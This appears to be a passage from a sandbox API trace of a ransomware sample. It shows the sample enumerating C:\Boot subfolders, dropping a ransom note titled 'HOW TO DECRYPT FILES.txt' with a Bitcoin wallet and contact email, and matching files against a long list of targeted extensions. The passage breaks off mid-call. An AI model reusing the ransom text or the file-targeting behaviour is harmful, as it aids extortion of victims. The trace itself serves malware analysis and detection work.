ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.309] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.309] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.309] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.309] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.309] PathFindFileNameA (pszPath="C:\\Boot\\it-IT\\*.*") returned="*.*" [0057.309] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\it-IT\\" | out: lpString1="C:\\Boot\\it-IT\\") returned="C:\\Boot\\it-IT\\" [0057.309] PathAddBackslashA (in: pszPath="C:\\Boot\\it-IT\\" | out: pszPath="C:\\Boot\\it-IT\\") returned="" [0057.309] lstrcatA (in: lpString1="C:\\Boot\\it-IT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\it-IT\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\it-IT\\HOW TO DECRYPT FILES.txt" [0057.309] GetFileAttributesA (lpFileName="C:\\Boot\\it-IT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\it-it\\how to decrypt files.txt")) returned 0xffffffff [0057.309] CreateFileA (lpFileName="C:\\Boot\\it-IT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\it-it\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.310] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.310] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.311] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.311] CloseHandle (hObject=0x84) returned 1 [0057.311] lstrcatA (in: lpString1="C:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned="C:\\Boot\\it-IT\\bootmgr.exe.mui" [0057.311] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.312] lstrlenA (lpString="*.ems") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.312] lstrlenA (lpString="*.db") returned 4 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.312] lstrlenA (lpString="*.dbf") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.312] lstrlenA (lpString="*.myox") returned 6 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.312] lstrlenA (lpString="*.myo") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.312] lstrlenA (lpString="*.qbw") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.312] lstrlenA (lpString="*.qbb") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.312] lstrlenA (lpString="*.qbm") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.312] lstrlenA (lpString="*.qbo") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.312] lstrlenA (lpString="*.qbx") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.312] lstrlenA (lpString="*.qba") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.312] lstrlenA (lpString="*.qby") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.312] lstrlenA (lpString="*.qbj") returned 5 [0057.312] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.313] lstrlenA (lpString="*.ofx") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.313] lstrlenA (lpString="*.qif") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.313] lstrlenA (lpString="*.mye") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.313] lstrlenA (lpString="*.mbox") returned 6 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.313] lstrlenA (lpString="*.eml") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.313] lstrlenA (lpString="*.pst") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.313] lstrlenA (lpString="*.ost") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.313] lstrlenA (lpString="*.idx") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.313] lstrlenA (lpString="*.dbx") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.313] lstrlenA (lpString="*.sql") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.313] lstrlenA (lpString="*.mdb") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.313] lstrlenA (lpString="*.fdb") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.313] lstrlenA (lpString="*.wab") returned 5 [0057.313] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.313] lstrlenA (lpString="*.dat") returned 5 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.314] lstrlenA (lpString="*.txt") returned 5 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.314] lstrlenA (lpString="*.jpeg") returned 6 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.314] lstrlenA (lpString="*.jpg") returned 5 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.314] lstrlenA (lpString="*.png") returned 5 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.314] lstrlenA (lpString="*.php") returned 5 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.314] lstrlenA (lpString="*.cs") returned 4 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.314] lstrlenA (lpString="*.cpp") returned 5 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.314] lstrlenA (lpString="*.rar") returned 5 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.314] lstrlenA (lpString="*.zip") returned 5 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.314] lstrlenA (lpString="*.html") returned 6 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.314] lstrlenA (lpString="*.htm") returned 5 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.314] lstrlenA (lpString="*.xlsx") returned 6 [0057.314] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.314] lstrlenA (lpString="*.xls") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.315] lstrlenA (lpString="*.mp4") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.315] lstrlenA (lpString="*.ppt") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.315] lstrlenA (lpString="*.pptx") returned 6 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.315] lstrlenA (lpString="*.doc") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.315] lstrlenA (lpString="*.dot") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.315] lstrlenA (lpString="*.docx") returned 6 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.315] lstrlenA (lpString="*.7z") returned 4 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.315] lstrlenA (lpString="*.tar") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.315] lstrlenA (lpString="*.bz2") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.315] lstrlenA (lpString="*.gz") returned 4 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.315] lstrlenA (lpString="*.mkv") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.315] lstrlenA (lpString="*.eml") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.315] lstrlenA (lpString="*.msg") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.315] lstrlenA (lpString="*.edb") returned 5 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.315] lstrlenA (lpString="*.accdb") returned 7 [0057.315] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.316] lstrlenA (lpString="*.odb") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.316] lstrlenA (lpString="*.java") returned 6 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.316] lstrlenA (lpString="*.asm") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.316] lstrlenA (lpString="*.pfx") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.316] lstrlenA (lpString="*.pem") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.316] lstrlenA (lpString="*.p12") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.316] lstrlenA (lpString="*.gpg") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.316] lstrlenA (lpString="*.vsd") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.316] lstrlenA (lpString="*.odg") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.316] lstrlenA (lpString="*.raw") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.316] lstrlenA (lpString="*.nef") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.316] lstrlenA (lpString="*.svg") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.316] lstrlenA (lpString="*.psd") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.316] lstrlenA (lpString="*.vmx") returned 5 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.316] lstrlenA (lpString="*.vmdk") returned 6 [0057.316] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.316] lstrlenA (lpString="*.vdi") returned 5 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.317] lstrlenA (lpString="*.lay6") returned 6 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.317] lstrlenA (lpString="*.mpeg") returned 6 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.317] lstrlenA (lpString="*.djvu") returned 6 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.317] lstrlenA (lpString="*.tiff") returned 6 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.317] lstrlenA (lpString="*.backup") returned 8 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.317] lstrlenA (lpString="*.pdf") returned 5 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.317] lstrlenA (lpString="*.cert") returned 6 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.317] lstrlenA (lpString="*.docm") returned 6 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.317] lstrlenA (lpString="*.xlsm") returned 6 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.317] lstrlenA (lpString="*.dwg") returned 5 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.317] lstrlenA (lpString="*.nd") returned 4 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.317] lstrlenA (lpString="*.tlg") returned 5 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.317] lstrlenA (lpString="*.lgb") returned 5 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.317] lstrlenA (lpString="*.mov") returned 5 [0057.317] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.318] lstrlenA (lpString="*.xdw") returned 5 [0057.318] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.318] lstrlenA (lpString="*.ods") returned 5 [0057.318] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.318] lstrlenA (lpString="*.wav") returned 5 [0057.318] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.318] lstrlenA (lpString="*.mp3") returned 5 [0057.318] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.318] lstrlenA (lpString="*.aiff") returned 6 [0057.318] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.318] lstrlenA (lpString="*.flac") returned 6 [0057.318] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.318] lstrlenA (lpString="*.m4a") returned 5 [0057.318] PathMatchSpecA (pszFile="C:\\Boot\\it-IT\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.318] lstrlenA (lpString="*.csv") returned 5 [0057.318] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.318] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.318] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0057.318] lstrcmpA (lpString1=".", lpString2="ja-JP") returned -1 [0057.318] lstrcmpA (lpString1="..", lpString2="ja-JP") returned -1 [0057.318] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.318] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="ja-JP" | out: lpString1="C:\\Boot\\ja-JP") returned="C:\\Boot\\ja-JP" [0057.318] lstrlenA (lpString="C:\\Boot\\ja-JP") returned 13 [0057.318] FindFirstFileA (in: lpFileName="C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.319] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.319] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.319] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.319] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.319] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.319] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.319] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.319] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.319] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.319] PathFindFileNameA (pszPath="C:\\Boot\\ja-JP\\*.*") returned="*.*" [0057.319] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\ja-JP\\" | out: lpString1="C:\\Boot\\ja-JP\\") returned="C:\\Boot\\ja-JP\\" [0057.319] PathAddBackslashA (in: pszPath="C:\\Boot\\ja-JP\\" | out: pszPath="C:\\Boot\\ja-JP\\") returned="" [0057.319] lstrcatA (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\ja-JP\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\ja-JP\\HOW TO DECRYPT FILES.txt" [0057.319] GetFileAttributesA (lpFileName="C:\\Boot\\ja-JP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\ja-jp\\how to decrypt files.txt")) returned 0xffffffff [0057.320] CreateFileA (lpFileName="C:\\Boot\\ja-JP\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\ja-jp\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.320] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.320] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.321] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.321] CloseHandle (hObject=0x84) returned 1 [0057.322] lstrcatA (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="C:\\Boot\\ja-JP\\bootmgr.exe.mui" [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.322] lstrlenA (lpString="*.ems") returned 5 [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.322] lstrlenA (lpString="*.db") returned 4 [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.322] lstrlenA (lpString="*.dbf") returned 5 [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.322] lstrlenA (lpString="*.myox") returned 6 [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.322] lstrlenA (lpString="*.myo") returned 5 [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.322] lstrlenA (lpString="*.qbw") returned 5 [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.322] lstrlenA (lpString="*.qbb") returned 5 [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.322] lstrlenA (lpString="*.qbm") returned 5 [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.322] lstrlenA (lpString="*.qbo") returned 5 [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.322] lstrlenA (lpString="*.qbx") returned 5 [0057.322] PathMatchSpecA (pszFile="C:\\Boot\\ja-JP\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.322] lstrlenA (lpString="*.qba") returned 5 [0057.322] PathMatchSpecA 